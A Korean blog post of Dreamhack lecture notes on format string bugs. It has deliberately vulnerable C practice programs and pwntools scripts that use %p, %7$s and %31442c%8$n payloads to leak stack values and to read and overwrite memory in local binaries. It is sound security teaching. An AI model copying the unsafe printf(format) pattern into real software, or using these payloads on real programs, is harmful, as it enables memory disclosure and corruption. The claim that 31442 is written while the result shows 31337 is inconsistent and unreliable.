본문 바로가기

Dreamhack/Lecture & Practice

[Lecture] Format String Bug (FSB)

1. 포맷 스트링 버그 (Format String Bug, FSB)

  • 포맷 스트링을 인자로 사용하는 함수는 대표적으로 scanf, fprintf, fscanf, sprintf, sscanf가 있다.
  • 포맷 스트링을 채울 값들은 레지스터나, 스택에서 가져온다.
  • 하지만, 포맷 스트링을 사용하는 함수의 내부에는 필요로 하는 인자 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 존재하지 않는다.
  • 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.
  • 포맷 스트링 함수를 잘못 사용하여, 발생하는 버그를 "포맷 스트링 버그"라고 한다.

2. 레지스터 및 스택 읽기

2-1. 실습 코드

  • 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드이다.
  • scanf에 존재하는 "%[^\n]"은 \n(개행문자)를 받을 때까지, 입력을 받는다는 의미이다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];
  
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  
  return 0;
}

 

2-2. 실습 과정 & 결과

  • 입력값으로 "%p %p %p %p %p %p %p %p"을 입력하면, 임의 값들이 출력된다.
  • printf함수에 전달한 인자는 없는데, 8개의 인자를 필요로 하는 포맷스트링을 사용했기 때문에 임의 값으로 레지스터와 스택에 존재하는 값들이 출력된다.

 

  • 디버깅해보면, 출력되는 값이 x64의 함수 호출 규약에 맞춰 rsi, rdx, rcx, r8, r9, [rsp], [rsp+0x8], [rsp+0x10]임을 알 수 있다.

3. 임의 주소 읽기

3-1. 실습 코드

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c

#include <stdio.h>

const char *secret = "THIS IS SECRET";

int main() {
  char format[0x100];
  
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  
  return 0;
}

 

3-2. 실습 원리

  • 이전 실습 결과를 보면, 6번째 출력 값인 [rsp]부터는 사용자의 입력을 8글자씩 참조한다.
    이를 이용하면, 임의 주소 읽기가 가능하다.
  • 포맷 스트링에 참조하고 싶은 주소를 넣고, %[n]$s의 형식으로 그 주소의 데이터를 재 참조할 수 있다.
  • %[n]$s는 n번째 매개변수를 %s형식인 문자열로 출력한다는 의미다.

 

3-3. 실습과정 & 결과

  • 본 실습에서는 secret에 저장된 "THIS IS SECRET"을 추출하는 것을 목표로 한다.
  • 실행결과 출력되는 secret주소를 넣고, %7$s의 형식으로 secret에 존재하는 데이터를 출력할 수 있다.
from pwn import *

p = process(b"./fsb_aar")

p.recvuntil(b"`secret`: ")
secret_addr = int(p.recvline()[:-1], 16)
print("secret_addr : ", hex(secret_addr))

payload  = b"%7$s".ljust(8)
payload += p64(secret_addr)

p.sendline(payload)

p.interactive()

 

4. 임의 주소 쓰기

4-1. 실습 코드

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c

#include <stdio.h>

int secret;

int main() {
  char format[0x100];
  
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  
  printf("Secret: %d", secret);
  
  return 0;
}



4-2. 실습 과정 & 결과

  • 포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면, 입력한 주소에 데이터를 쓸 수 있다.
  • %31442c%8$n은 8번째 매개변수에 %n의 형식으로 저장한다는 의미로, 31442가 저장된다.
  • Secret 전역 변수의 값이 31337로 조작되는 것을 확인할 수 있다.
from pwn import *

p = process(b"./fsb_aaw")

p.recvuntil(b"`secret`: ")
secret_addr = int(p.recvline()[:-1], 16)

payload  = b"%31442c%8$n".ljust(16)
payload += p64(secret_addr)

p.sendline(payload)
print(p.recvall())

 

 

'Dreamhack > Lecture & Practice' 카테고리의 다른 글

[Lecture] Use After Free  (0) 2022.08.20
[Practice] 64bit_FSB (Format String Bug)  (0) 2022.08.20
[Lecture] OOB (Out of bounds)  (0) 2022.08.09
[Practice] Hook Overwrite  (0) 2022.07.14
[Lecture] PIE (Position-Independent Executable)  (0) 2022.07.12